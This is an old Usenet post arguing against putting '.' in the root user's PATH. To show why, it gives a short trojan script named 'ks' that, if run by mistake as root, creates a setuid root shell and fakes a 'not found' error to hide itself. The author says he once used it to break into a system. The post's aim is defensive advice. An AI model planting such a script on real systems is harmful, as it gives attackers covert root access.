Mysterious security hole

[The Grand Master]

In article <1991Jun19.150625.17848 at chinet.chi.il.us> les at chinet.chi.il.us (Leslie Mikesell) writes:
}In article <12714 at bsu-cs.bsu.edu> sam at bsu-cs.UUCP (B. Sam Blanchard) writes:
}
}>Here's a nice and fairly simple way to improve security.
}>PATH=/bin:/usr/bin:/etc
}
}Isn't this annoying overkill compared to just putting "." last in your
}path?  That will prevent accidental execution of the wrong copy of
}standard commands while still letting you test programs in your current
}directory and run normal makefiles without contortions.
}
}Les Mikesell
}  les at chinet.chi.il.us
 
I don't know about you. But most of the people I know are not perfect
typisdts ( ;-) ). It is not uncommon to accidently type ks instead of
ls ( I have seen many people do it before ). So now what happens when
someone puts a file ks in /tmp, and you do:
# cd tmp
# ks
(woops, I meant to type ls)
# ls
......
where the source for ks is something like:
cp /bin/sh .
chown root ./sh
chmod 4777 ./sh
echo  ks: not found

hmm. That could lead to problems (In fact I used it to break security
in a system once - and it worked!). 
The moral to the story?
Unless you are a perfect typist, or you are willing to read and re-read
every line you type BEFORE hitting <ENTER>, better be safe than sorry.

This message brought to you by CADIP

Citizens Against Dot In PATH

 From: Your friendly neighborhood Bruce Varney
---------
                                   ###             ##
Courtesy of Bruce Varney           ###               #
aka -> The Grand Master                               #
asg at sage.cc.purdue.edu             ###    #####       #
PUCC                               ###                #
;-)                                 #                #
;'>                                #               ##